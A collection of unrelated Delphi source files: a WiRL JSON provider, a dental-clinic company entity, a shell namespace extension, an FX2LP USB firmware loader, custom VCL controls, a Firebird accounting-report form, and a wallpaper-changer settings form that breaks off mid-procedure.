LStreamWriter.Write(LSuperObject.AsJSon());
finally
LStreamWriter.Free;
end;
end;
procedure RegisterMessageBodyClasses;
begin
TMessageBodyReaderRegistry.Instance.RegisterReader(TWiRLSuperObjectProvider, ISuperObject,
function (AType: TRttiType; const AAttributes: TAttributeArray; AMediaType: TMediaType): Integer
begin
Result := TMessageBodyWriterRegistry.AFFINITY_HIGH;
end
);
TMessageBodyWriterRegistry.Instance.RegisterWriter(TWiRLSuperObjectProvider, ISuperObject,
function (AType: TRttiType; const AAttributes: TAttributeArray; AMediaType: TMediaType): Integer
begin
Result := TMessageBodyWriterRegistry.AFFINITY_HIGH;
end
);
end;
initialization
RegisterMessageBodyClasses;
end.
|
unit Odontologia.Modelo.Entidades.Empresa;
interface
uses
simpleattributes;
type
[Tabela('DEMPRESA')]
TDEMPRESA = class
private
FEMP_FANTASIA: String;
FEMP_EMAIL: String;
FEMP_BARRIO: String;
FEMP_RAZSOCIAL: String;
FEMP_CODIGO: Integer;
FEMP_COD_TIP_EMPRESA: Integer;
FEMP_DIRECCION: String;
FEMP_NUMERO: String;
FEMP_TELEFONO: String;
FEMP_COD_CIUDAD: Integer;
FEMP_RUC: String;
procedure SetEMP_BARRIO(const Value: String);
procedure SetEMP_COD_CIUDAD(const Value: Integer);
procedure SetEMP_COD_TIP_EMPRESA(const Value: Integer);
procedure SetEMP_CODIGO(const Value: Integer);
procedure SetEMP_DIRECCION(const Value: String);
procedure SetEMP_EMAIL(const Value: String);
procedure SetEMP_FANTASIA(const Value: String);
procedure SetEMP_NUMERO(const Value: String);
procedure SetEMP_RAZSOCIAL(const Value: String);
procedure SetEMP_RUC(const Value: String);
procedure SetEMP_TELEFONO(const Value: String);
published
[Campo('EMP_CODIGO'), Pk, AutoInc]
property EMP_CODIGO : Integer read FEMP_CODIGO write SetEMP_CODIGO;
[Campo('EMP_RAZSOCIAL')]
property EMP_RAZSOCIAL : String read FEMP_RAZSOCIAL write SetEMP_RAZSOCIAL;
[Campo('EMP_FANTASIA')]
property EMP_FANTASIA : String read FEMP_FANTASIA write SetEMP_FANTASIA;
[Campo('EMP_DIRECCION')]
property EMP_DIRECCION : String read FEMP_DIRECCION write SetEMP_DIRECCION;
[Campo('EMP_NUMERO')]
property EMP_NUMERO : String read FEMP_NUMERO write SetEMP_NUMERO;
[Campo('EMP_BARRIO')]
property EMP_BARRIO : String read FEMP_BARRIO write SetEMP_BARRIO;
[Campo('EMP_TELEFONO')]
property EMP_TELEFONO : String read FEMP_TELEFONO write SetEMP_TELEFONO;
[Campo('EMP_EMAIL')]
property EMP_EMAIL : String read FEMP_EMAIL write SetEMP_EMAIL;
[Campo('EMP_RUC')]
property EMP_RUC : String read FEMP_RUC write SetEMP_RUC;
[Campo('EMP_COD_CIUDAD')]
property EMP_COD_CIUDAD : Integer read FEMP_COD_CIUDAD write SetEMP_COD_CIUDAD;
[Campo('EMP_COD_TIP_EMPRESA')]
property EMP_COD_TIP_EMPRESA : Integer read FEMP_COD_TIP_EMPRESA write SetEMP_COD_TIP_EMPRESA;
end;
implementation
{ TDEMPRESA }
procedure TDEMPRESA.SetEMP_BARRIO(const Value: String);
begin
FEMP_BARRIO := Value;
end;
procedure TDEMPRESA.SetEMP_CODIGO(const Value: Integer);
begin
FEMP_CODIGO := Value;
end;
procedure TDEMPRESA.SetEMP_COD_CIUDAD(const Value: Integer);
begin
FEMP_COD_CIUDAD := Value;
end;
procedure TDEMPRESA.SetEMP_COD_TIP_EMPRESA(const Value: Integer);
begin
FEMP_COD_TIP_EMPRESA := Value;
end;
procedure TDEMPRESA.SetEMP_DIRECCION(const Value: String);
begin
FEMP_DIRECCION := Value;
end;
procedure TDEMPRESA.SetEMP_EMAIL(const Value: String);
begin
FEMP_EMAIL := Value;
end;
procedure TDEMPRESA.SetEMP_FANTASIA(const Value: String);
begin
FEMP_FANTASIA := Value;
end;
procedure TDEMPRESA.SetEMP_NUMERO(const Value: String);
begin
FEMP_NUMERO := Value;
end;
procedure TDEMPRESA.SetEMP_RAZSOCIAL(const Value: String);
begin
FEMP_RAZSOCIAL := Value;
end;
procedure TDEMPRESA.SetEMP_RUC(const Value: String);
begin
FEMP_RUC := Value;
end;
procedure TDEMPRESA.SetEMP_TELEFONO(const Value: String);
begin
FEMP_TELEFONO := Value;
end;
end.
|
unit CustomNS;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, ImgList, ShlObj,
ShellAPI, ActiveX, ComObj, VirtualPIDLTools, VirtualShellUtilities,
VirtualNamespace;
const
SID_IGerardsHookNamespace = '{F41C7411-8364-4DB7-B28A-6B1F0BFA84EC}';
SID_IGerardsNamespace = '{4A72EDC1-8A8F-47FE-AD29-81C70A804E9B}';
IID_IGerardsHookNamespace: TGUID = SID_IGerardsHookNamespace;
IID_IGerardsNamespace: TGUID = SID_IGerardsNamespace;
type
TGerardsHookPIDL = class(TItemID)
end;
TGerardsPIDL = class(TItemID)
private
FData1: Boolean;
FData2: Integer;
public
procedure LoadPIDLStream(S: TStream); override;
procedure SavePIDLStream(S: TStream); override;
property Data1: Boolean read FData1 write FData1;
property Data2: Integer read FData2 write FData2;
end;
TGerardsHookNamespace = class(TBaseVirtualNamespaceExtension)
private
FHelper: TGerardsPIDL;
protected
function Attributes(ChildPIDLList: TPIDLList; Attribs: TFolderAttributes): TFolderAttributes; override;
function CreateItemID: TItemID; override; // must override abstract methods
procedure DisplayName(ChildPIDL: PItemIDList; NameType: TDisplayNameFlags; var StrRet: TStrRet); override;
procedure IconIndex(ChildPIDL: PItemIDList; IconStyle: TVirtualIconFlags; var IconIndex: integer); override;
function RetrieveClassID: TCLSID; override;
public
constructor Create; override;
destructor Destroy; override;
property Helper: TGerardsPIDL read FHelper write FHelper;
end;
TGerardsNamespace = class(TBaseVirtualNamespaceExtension)
public
function CreateItemID: TItemID; override; // must override abstract methods
function RetrieveClassID: TCLSID; override;
end;
implementation
{ TGerardsPIDL }
procedure TGerardsPIDL.LoadPIDLStream(S: TStream);
begin
inherited;
S.read(FData1, SizeOf(FData1));
S.read(FData2, SizeOf(FData2));
end;
procedure TGerardsPIDL.SavePIDLStream(S: TStream);
begin
inherited;
S.write(FData1, SizeOf(FData1));
S.write(FData2, SizeOf(FData2));
end;
{ TGerardsHookNamespace }
function TGerardsHookNamespace.Attributes(ChildPIDLList: TPIDLList;
Attribs: TFolderAttributes): TFolderAttributes;
begin
Result := [];
end;
constructor TGerardsHookNamespace.Create;
begin
inherited;
FHelper := TGerardsPIDL.Create(IID_IGerardsNamespace);
end;
function TGerardsHookNamespace.CreateItemID: TItemID;
begin
Result := TGerardsHookPIDL.Create(IID_IGerardsHookNamespace);
end;
destructor TGerardsHookNamespace.Destroy;
begin
FHelper.Free;
inherited;
end;
procedure TGerardsHookNamespace.DisplayName(ChildPIDL: PItemIDList;
NameType: TDisplayNameFlags; var StrRet: TStrRet);
begin
// The InFolder Name is always stored in the PIDL so we pass back the
// Offset to the PChar in the PIDL
StrRet.uType := STRRET_OFFSET;
StrRet.uOffset := InFolderNameASCII_Offset
end;
procedure TGerardsHookNamespace.IconIndex(ChildPIDL: PItemIDList;
IconStyle: TVirtualIconFlags; var IconIndex: integer);
begin
IconIndex := 6;
end;
function TGerardsHookNamespace.RetrieveClassID: TCLSID;
begin
Result := IID_IGerardsHookNamespace
end;
{ TGerardsNamespace }
function TGerardsNamespace.CreateItemID: TItemID;
begin
Result := TGerardsPIDL.Create(IID_IGerardsNamespace);
end;
function TGerardsNamespace.RetrieveClassID: TCLSID;
begin
Result := IID_IGerardsNamespace
end;
initialization
NamespaceExtensionFactory.RegisterNamespaceExtension(
TGerardsNamespace,
IID_IGerardsNamespace,
TGerardsHookNamespace,
IID_IGerardsHookNamespace
);
end.
|
//------------------------------------------------------------------------------
//The contents of this file are subject to the Mozilla Public License
//Version 1.1 (the "License"); you may not use this file except in compliance
//with the License. You may obtain a copy of the License at
//http://www.mozilla.org/MPL/ Software distributed under the License is
//distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
//or implied. See the License for the specific language governing rights and
//limitations under the License.
//
//The Original Code is UsbDev.pas.
//
//The Initial Developer of the Original Code is Alex Shovkoplyas, VE3NEA.
//Portions created by Alex Shovkoplyas are
//Copyright (C) 2008 Alex Shovkoplyas. All Rights Reserved.
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
// TUsbDevice -> TFx2LpDevice: USB device functions specific to the FX2LP family
//------------------------------------------------------------------------------
unit Fx2LpDev;
interface
uses
SysUtils, Classes, SndTypes, UsbDev;
const
MAX_EP0_PACKET_SIZE = 64;
VRT_VENDOR_IN = $C0;
VRT_VENDOR_OUT = $40;
type
TFx2LpDevice = class(TUsbDevice)
private
procedure LoadFirmwareString(S: string);
protected
procedure ResetCpu(Value: boolean);
procedure WriteRam(Addr: integer; AData: TByteArray);
procedure LoadFirmware(FileName: TFileName);
end;
implementation
//------------------------------------------------------------------------------
// firmware
//------------------------------------------------------------------------------
procedure TFx2LpDevice.LoadFirmware(FileName: TFileName);
var
i: integer;
begin
if not FInitialized then Err('LoadFirmware failed: ' + FStatusText);
if not FileExists(FileName) then Err('File not found: ' + FileName);
OpenDevice;
ResetCpu(true);
with TStringList.Create do
try
LoadFromFile(FileName);
for i:=0 to Count-1 do
try
LoadFirmwareString(Strings[i]);
except
Err(Format('Error in %s, line %d', [FileName, i]));
end;
finally
Free;
end;
ResetCpu(false);
CloseDevice;
end;
procedure TFx2LpDevice.LoadFirmwareString(S: string);
var
i: integer;
Addr, Len, Typ, Sum: Word;
b: Byte;
Data: TByteArray;
begin
//parse header
if S[1] <> ':' then Abort;
Len := StrToInt('$' + Copy(S, 2, 2));
if Length(S) <> (Len*2 + 11) then Abort;
Addr := StrToInt('$' + Copy(S, 4, 4));
Typ := StrToInt('$' + Copy(S, 8, 2));
if not (Typ in [0,1]) then Abort;
if Typ = 1 then Exit;
//initialize checksum
Sum := StrToInt('$' + Copy(S, 10+Len*2, 2));
Inc(Sum, Len + Lo(Addr) + Hi(Addr));
//extract bytes
SetLength(Data, Len);
for i:=0 to Len-1 do
begin
b := StrToInt('$' + Copy(S, 10+i*2, 2));
Data[i] := b;
Inc(Sum, b);
end;
//verify checksum
if (Sum and $FF)<> 0 then Abort;
//write
WriteRam(Addr, Data);
end;
//------------------------------------------------------------------------------
// CPU
//------------------------------------------------------------------------------
procedure TFx2LpDevice.WriteRam(Addr: integer; AData: TByteArray);
var
Data: TByteArray;
begin
if FHandle = nil then Err('WriteRam failed: device not open');
Data := Copy(AData, 0, MAX_EP0_PACKET_SIZE);
while Data <> nil do
begin
if FunUsbControlMsg(FHandle, VRT_VENDOR_OUT, $A0, Addr, 0, Data[0], Length(Data), 1000) <> Length(Data)
then Err('WriteRam/usb_control_msg failed');
Inc(Addr, Length(Data));
AData := Copy(AData, Length(Data), MAXINT);
Data := Copy(AData, 0, MAX_EP0_PACKET_SIZE);
end;
end;
procedure TFx2LpDevice.ResetCpu(Value: boolean);
var
Data: TByteArray;
begin
if FHandle = nil then Err('ResetCpu failed: device not open');
SetLength(Data, 1);
if Value then Data[0] := 1 else Data[0] := 0;
WriteRam($E600, Data);
end;
end.
|
unit SDUStdCtrls;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
StdCtrls;
// StdCtrls, Messages, Controls, Graphics, Classes;
type
TSDULabel = class(TLabel);
TSDUURLLabel = class(TSDULabel)
private
procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
protected
FHoverColor: TColor;
FNormalColor: TColor;
FURL: string;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy(); override;
procedure Click(); override;
published
property NormalColor: TColor read FNormalColor write FNormalColor;
property HoverColor: TColor read FHoverColor write FHoverColor;
property URL: string read FURL write FURL;
end;
TSDUFilenameLabel = class(TSDULabel)
protected
function GetLabelText(): string; override;
end;
TSDUTruncatingLabel = class(TSDULabel)
protected
function GetLabelText(): string; override;
end;
TSDUCheckBox = class(TCheckBox)
private
FCheckWidth: integer;
FSDUAutoSize: boolean;
procedure CMTextChanged(var Message: TMessage); message CM_TEXTCHANGED;
procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;
procedure GetCheckWidth();
protected
procedure AdjustBounds(); dynamic;
public
constructor Create(AOwner: TComponent); override;
published
property AutoSize: boolean read FSDUAutoSize write FSDUAutoSize;
end;
procedure Register;
implementation
uses
{$WARN UNIT_PLATFORM OFF}
FileCtrl,
ShellAPI; //Windows;
procedure Register;
begin
RegisterComponents('SDeanUtils', [TSDUURLLabel]);
RegisterComponents('SDeanUtils', [TSDUFilenameLabel]);
RegisterComponents('SDeanUtils', [TSDUTruncatingLabel]);
RegisterComponents('SDeanUtils', [TSDUCheckBox]);
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
constructor TSDUURLLabel.Create(AOwner: TComponent);
begin
inherited;
NormalColor:= clBlue;
HoverColor:= clRed;
URL := '';
Font.Color := NormalColor;
Font.Style := Font.Style + [fsUnderline];
Cursor := crHandPoint;
Invalidate;
end;
destructor TSDUURLLabel.Destroy();
begin
inherited;
end;
procedure TSDUURLLabel.CMMouseEnter(var Message: TMessage);
begin
inherited;
Font.Color := HoverColor;
Repaint;
end;
procedure TSDUURLLabel.CMMouseLeave(var Message: TMessage);
begin
inherited;
Font.Color := NormalColor;
Invalidate;
end;
procedure TSDUURLLabel.Click();
begin
inherited;
if (URL <> '') then
begin
ShellExecute(
Parent.Handle,
PChar('open'),
PChar(URL),
PChar(''),
PChar(''),
SW_SHOW
);
end;
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
function TSDUFilenameLabel.GetLabelText(): string;
begin
Result := MinimizeName(Caption, Canvas, Width);
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
function TSDUTruncatingLabel.GetLabelText(): string;
var
base: string;
retval: string;
begin
retval := Caption;
if (retval = '') then
begin
// Do nothing - just return the empty string
end
else
begin
if (Canvas.TextExtent(retval).cx > Width) then
begin
base := retval;
retval := base + '...';
while (
(Canvas.TextExtent(retval).cx > Width) and
(retval <> '')
) do
begin
if (base = '') then
begin
Delete(retval, length(retval), 1);
end
else
begin
Delete(base, length(base), 1);
retval := base + '...';
end;
end;
end;
end;
Result := retval;
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
procedure TSDUCheckBox.AdjustBounds;
const
WordWraps: array[Boolean] of Word = (0, DT_WORDBREAK);
var
DC: HDC;
// X: Integer;
// AAlignment: TAlignment;
oldFont: HFONT;
area: TRect;
begin
// if not (csReading in ComponentState) then //and AutoSize then
if not(AutoSize) then
begin
inherited;
end
else
begin
area := ClientRect;
DC := GetDC(self.Handle);
oldFont := SelectObject(dc, Font.Handle);
DrawText(
dc,
PChar(Caption),
Length(Caption),
area,
(
DT_NOCLIP or
DT_EXPANDTABS or
DT_CALCRECT or
WordWraps[WordWrap]
)
);
SelectObject(dc, oldFont);
ReleaseDC(self.Handle, dc);
{
X := Left;
AAlignment := Alignment;
if UseRightToLeftAlignment then ChangeBiDiModeAlignment(AAlignment);
if AAlignment = taRightJustify then Inc(X, Width - area.Right);
}
// SetBounds(X, Top, area.Right+20, area.Bottom);
// +10 - from empirical testing should be enough
self.Width := area.Right + FCheckWidth + 10;
self.Height := area.Bottom;
end;
end;
procedure TSDUCheckBox.CMTextChanged(var Message: TMessage);
begin
inherited;
Invalidate;
AdjustBounds;
end;
procedure TSDUCheckBox.CMFontChanged(var Message: TMessage);
begin
inherited;
AdjustBounds;
end;
procedure TSDUCheckBox.GetCheckWidth();
var
tmpBmp: TBitmap;
begin
// This method to get the checkbox size taken from CheckLst.pas
tmpBmp := TBitmap.Create();
try
tmpBmp.Handle := LoadBitmap(0, PChar(OBM_CHECKBOXES));
FCheckWidth := tmpBmp.Width div 4;
finally
tmpBmp.Free();
end;
end;
constructor TSDUCheckBox.Create(AOwner: TComponent);
begin
inherited;
GetCheckWidth();
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
END.
|
unit MO17MainForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Ibase, FIBDatabase, pFIBDatabase, cxStyles, cxCustomData,
cxGraphics, cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData,
cxTextEdit, ComCtrls, ToolWin, ImgList, cxGridLevel,
cxGridCustomTableView, cxGridTableView, cxGridBandedTableView,
cxGridDBBandedTableView, cxClasses, cxControls, cxGridCustomView, cxGrid,
pFibDataSet, cxLookAndFeelPainters, cxContainer, cxRadioGroup, StdCtrls,
cxButtons, ExtCtrls, cxMaskEdit, cxButtonEdit, FIBDataSet, frxClass,
frxDBSet, frxExportHTML, frxExportPDF, frxExportRTF,
frxExportXML, frxExportXLS, cxDropDownEdit, AppStruClasses, cxCheckBox,
cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, cxGridDBTableView,
cxSplitter, frxDesgn;
type
TTMo14MainForm = class(TForm)
WorkDatabase: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
WriteTransaction: TpFIBTransaction;
Panel1: TPanel;
cxButton1: TcxButton;
cxButton2: TcxButton;
frxDBDataset1: TfrxDBDataset;
ResultsDataSet: TpFIBDataSet;
frxXLSExport1: TfrxXLSExport;
frxXMLExport1: TfrxXMLExport;
frxRTFExport1: TfrxRTFExport;
frxPDFExport1: TfrxPDFExport;
frxHTMLExport1: TfrxHTMLExport;
RegsDataSet: TpFIBDataSet;
RegsDataSource: TDataSource;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
Panel4: TPanel;
Label3: TLabel;
cbMonthBeg: TcxComboBox;
cbYearBeg: TcxComboBox;
cxStyleRepository1: TcxStyleRepository;
back: TcxStyle;
column_gray: TcxStyle;
periods: TcxStyle;
cxStyle1: TcxStyle;
cxGrid1: TcxGrid;
RegsView: TcxGridDBTableView;
RegsViewDBColumn5: TcxGridDBColumn;
cxGrid1Level1: TcxGridLevel;
cxCheckBox1: TcxCheckBox;
Panel2: TPanel;
cxSplitter1: TcxSplitter;
RegsViewDBColumn1: TcxGridDBColumn;
cxCheckBox2: TcxCheckBox;
Ds_for_DB: TpFIBDataSet;
DS_for_Kr: TpFIBDataSet;
ds_vibor: TpFIBDataSet;
frxDS_DB: TfrxDBDataset;
frxDS_KR: TfrxDBDataset;
frxDesigner1: TfrxDesigner;
frxReport1: TfrxReport;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure cxButton1Click(Sender: TObject);
procedure cxButton2Click(Sender: TObject);
procedure cxCheckBox1PropertiesChange(Sender: TObject);
private
{ Private declarations }
ActualDate:TDateTime;
public
{ Public declarations }
id_sch:Int64;
id_pkv:int64;
id_type_finance:int64;
constructor Create(AOwner:TComponent;DbHandle:TISC_DB_HANDLE;id_User:Int64);reintroduce;
end;
implementation
uses GlobalSpr, BaseTypes, Resources_unitb, DateUtils;
{$R *.dfm}
{ TTMoMainForm }
constructor TTMo14MainForm.Create(AOwner: TComponent;
DbHandle: TISC_DB_HANDLE; id_User: Int64);
var I:Integer;
SysInfo:TpFibDataSet;
begin
inherited Create(AOwner);
WorkDatabase.Handle:=DbHandle;
ReadTransaction.StartTransaction;
SysInfo:=TpFibDataSet.Create(self);
SysInfo.Database:=WorkDatabase;
SysInfo.Transaction:=ReadTransaction;
SysInfo.SelectSQL.Text:='select * from pub_sys_data';
SysInfo.Open;
if (SysInfo.RecordCount>0)
then begin
if SysInfo.FieldByName('main_book_date').Value<>null
then self.ActualDate:=SysInfo.FieldByName('main_book_date').Value
else self.ActualDate:=Date;
end
else begin
self.ActualDate:=Date;
end;
SysInfo.Close;
SysInfo.Free;
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_01));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_02));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_03));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_04));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_05));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_06));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_07));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_08));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_09));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_10));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_11));
cbMonthBeg.Properties.Items.Add(TRIM(BU_Month_12));
for i:=2000 to YearOf(IncYear(ActualDate,3)) do
begin
cbYearBeg.Properties.Items.Add(TRIM(IntToStr(i)));
end;
cbMonthBeg.ItemIndex:=MonthOf(ActualDate)-1;
for i:=0 to cbYearBeg.Properties.Items.Count-1 do
begin
if pos(cbYearBeg.Properties.Items[i],IntToStr(YearOf(ActualDate)))>0
then begin
cbYearBeg.ItemIndex:=i;
break;
end;
end;
RegsDataSet.SelectSQL.Text:='SELECT * FROM PUB_SP_REG_UCH WHERE ID_FORM_UCH=1';
RegsDataSet.Open;
RegsDataSet.FetchAll;
end;
procedure TTMo14MainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caFree;
end;
procedure TTMo14MainForm.cxButton1Click(Sender: TObject);
var date_str, tip_form, name_mo:string;
flag:Boolean;
i:Integer;
begin
Screen.Cursor:=crHourGlass;
ActualDate:=StrToDate('01.'+IntToStr(cbMonthBeg.ItemIndex+1)+'.'+cbYearBeg.Properties.Items[cbYearBeg.ItemIndex]);
if cbMonthBeg.ItemIndex = 0 then date_str:='січень ' + cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 1 then date_str:='лютий '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 2 then date_str:='березень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 3 then date_str:='квітень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 4 then date_str:='травень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 5 then date_str:='липень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 6 then date_str:='червень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 7 then date_str:='серпень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 8 then date_str:='вересень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 9 then date_str:='жовтень '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 10 then date_str:='листопад '+ cbYearBeg.Text;
if cbMonthBeg.ItemIndex = 11 then date_str:='грудень '+ cbYearBeg.Text;
name_mo:=RegsDataSet.FieldByName('REG_TITLE').AsString;
flag:=True;
i:=1;
tip_form:='';
while ((flag) and(i<=Length(name_mo))) do
begin
//Showmessage(Copy(name_mo, i, 1));
if Copy(name_mo, i, 1)='№' then
begin
// Showmessage(Copy(name_mo, i, 3));
if ((Copy(name_mo, i, 3)='№14')or(Copy(name_mo, i, 4)='№ 14')) then begin tip_form:='14'; flag:=False; end;
if ((Copy(name_mo, i, 3)='№17') or(Copy(name_mo, i, 4)='№ 17')) then begin tip_form:='17'; flag:=False; end;
end;
inc(i);
end;
//showmessage(tip_form);
if ResultsDataSet.Active then ResultsDataSet.Close;
ResultsDataSet.SelectSQL.Text:='SELECT * from MBOOK_MO_GET_DATA_EXT('+''''+DateToStr(ActualDate)+''''+',0'+','+IntToStr(id_pkv)+','+IntToStr(id_type_finance)+','
+VarToStr(RegsView.DataController.Values[RegsView.DataController.FocusedRecordIndex,1])+','+IntToStr(Integer(cxCheckBox2.checked))+')';
//ShowMessage(ResultsDataSet.SelectSQL.Text);
//Mardar
Ds_for_DB.Close;
Ds_for_DB.SelectSQL.Clear;
Ds_for_DB.SelectSQL.Add('select DB_NUMBER, Sum(Summa) from MBOOK_MO_GET_DATA_EXT('+''''+DateToStr(ActualDate)+''''+',0'+','+IntToStr(id_pkv)+','+IntToStr(id_type_finance)+',' +VarToStr(RegsView.DataController.Values[RegsView.DataController.FocusedRecordIndex,1])+','+IntToStr(Integer(cxCheckBox2.checked))+')group by 1');
Ds_for_Db.CloseOpen(False);
Ds_for_KR.Close;
Ds_for_KR.SelectSQL.Clear;
DS_for_Kr.SelectSQL.Add('select KR_NUMBER, Sum(Summa) from MBOOK_MO_GET_DATA_EXT('+''''+DateToStr(ActualDate)+''''+',0'+','+IntToStr(id_pkv)+','+IntToStr(id_type_finance)+',' +VarToStr(RegsView.DataController.Values[RegsView.DataController.FocusedRecordIndex,1])+','+IntToStr(Integer(cxCheckBox2.checked))+')group by 1');
DS_for_Kr.CloseOpen(False);
//
ResultsDataSet.Open;
if cxCheckBox2.checked
then
begin
if tip_form='14' then frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Mbook\ReportMO14_byMardar.fr3',true)
else
frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Mbook\ReportMO17.fr3',true)
end
else frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Mbook\ReportMO17Full.fr3',true);
//Maradar 06.12.12
ds_vibor.close;
ds_vibor.SelectSQL.Clear;
ds_vibor.SelectSQL.Add('select c.NAME_CUSTOMER, c.SHORT_NAME, c.KOD_EDRPOU from pub_sp_customer c, pub_sys_data d where C.ID_CUSTOMER = d.organization');
ds_vibor.CloseOpen(False);
//
frxReport1.Variables['NUM'] :=''''+RegsDataSet.FBN('REG_TITLE').Value+'''';
frxReport1.Variables['DATA'] :=''''+date_str+'''';
frxReport1.Variables['ORG_NAME_FULL']:=''''+ds_vibor.fieldbyname('NAME_CUSTOMER').AsString+'''';
frxReport1.Variables['OKPO']:=''''+ds_vibor.fieldbyname('KOD_EDRPOU').AsString+'''';
if tip_form='14' then
frxReport1.Variables['num_form']:=''''+'409'+''''
else
frxReport1.Variables['num_form']:=''''+'274'+'''';
frxReport1.PrepareReport(true);
Screen.Cursor:=crDefault;
// frxReport1.DesignReport;
frxReport1.ShowReport;
ds_vibor.Close;
end;
procedure TTMo14MainForm.cxButton2Click(Sender: TObject);
begin
Close;
end;
procedure TTMo14MainForm.cxCheckBox1PropertiesChange(Sender: TObject);
begin
Panel2.Visible:=cxCheckBox1.Checked;
if Panel2.Visible
then cxSplitter1.Top:=Panel2.Top+1;
end;
end.
|
unit RandomWallpaper;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Spin, Buttons, ShlObj, ComObj, Main, inifiles;
type
TRandomWallpaperForm = class(TForm)
MappeListBox: TListBox;
Label1: TLabel;
MappeLabel: TLabel;
GemIndstillingerBtn: TBitBtn;
VaelgMappeBtn: TBitBtn;
SpinEdit1: TSpinEdit;
Label2: TLabel;
Label3: TLabel;
AktiveretCheckBox: TCheckBox;
procedure VaelgMappeBtnClick(Sender: TObject);
procedure GemIndstillingerBtnClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
RandomWallpaperForm: TRandomWallpaperForm;
IniFile : TIniFile;
SettingsIni: String;
implementation
{$R *.dfm}
function BrowseCallbackProc(hwnd: HWND; uMsg: UINT; lParam: LPARAM; lpData: LPARAM): Integer; stdcall;
begin
if (uMsg = BFFM_INITIALIZED) then
SendMessage(hwnd, BFFM_SETSELECTION, 1, lpData);
BrowseCallbackProc := 0;
end;
function GetFolderDialog(Handle: Integer; Caption: string; var strFolder: string): Boolean;
const
BIF_STATUSTEXT = $0004;
BIF_NEWDIALOGSTYLE = $0040;
BIF_RETURNONLYFSDIRS = $0080;
BIF_SHAREABLE = $0100;
BIF_USENEWUI = BIF_EDITBOX or BIF_NEWDIALOGSTYLE;
var
BrowseInfo: TBrowseInfo;
ItemIDList: PItemIDList;
JtemIDList: PItemIDList;
Path: PAnsiChar;
begin
Result := False;
Path := PAnsiChar(StrAlloc(MAX_PATH));
SHGetSpecialFolderLocation(Handle, CSIDL_DRIVES, JtemIDList);
with BrowseInfo do
begin
hwndOwner := GetActiveWindow;
pidlRoot := JtemIDList;
SHGetSpecialFolderLocation(hwndOwner, CSIDL_DRIVES, JtemIDList);
{ return display name of item selected }
pszDisplayName := StrAlloc(MAX_PATH);
{ set the title of dialog }
lpszTitle := PChar(Caption);//'Select the folder';
{ flags that control the return stuff }
lpfn := @BrowseCallbackProc;
{ extra info that's passed back in callbacks }
lParam := LongInt(PChar(strFolder));
end;
ItemIDList := SHBrowseForFolder(BrowseInfo);
if (ItemIDList <> nil) then
if SHGetPathFromIDList(ItemIDList, PWideChar(Path)) then
begin
strFolder := Path;
Result := True
end;
end;
// Indeksere filerne i en mappe og lister dem i MappeListBox.
procedure FileSearch(const PathName, FileName : string);
var Rec : TSearchRec;
Path : string;
begin
Path := IncludeTrailingBackslash(PathName);
if FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0
then
try
repeat
RandomWallpaper.RandomWallpaperForm.MappeListBox.Items.Add(Path + Rec.Name);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
end;
// Viser det vindue hvor du skal vælge hvilken mappe den skal lede
// efter baggrundsbilleder i.
procedure TRandomWallpaperForm.VaelgMappeBtnClick(Sender: TObject);
begin
Main.WallpaperFolder := 'c:\';
if GetFolderDialog(Application.Handle, 'Vælg en mappe', Main.WallpaperFolder) then
begin
FileSearch(Main.WallpaperFolder, '*.jpg');
MappeLabel.Caption:=Main.WallpaperFolder;
end;
end;
// Gemmer indstillingerne for RandomWallpaper funktionen.
procedure TRandomWallpaperForm.GemIndstillingerBtnClick(Sender: TObject);
begin
Main.MainForm.RandomWallpaperChangerTimer.Interval:=StrToInt(SpinEdit1.Text)*60*1000;
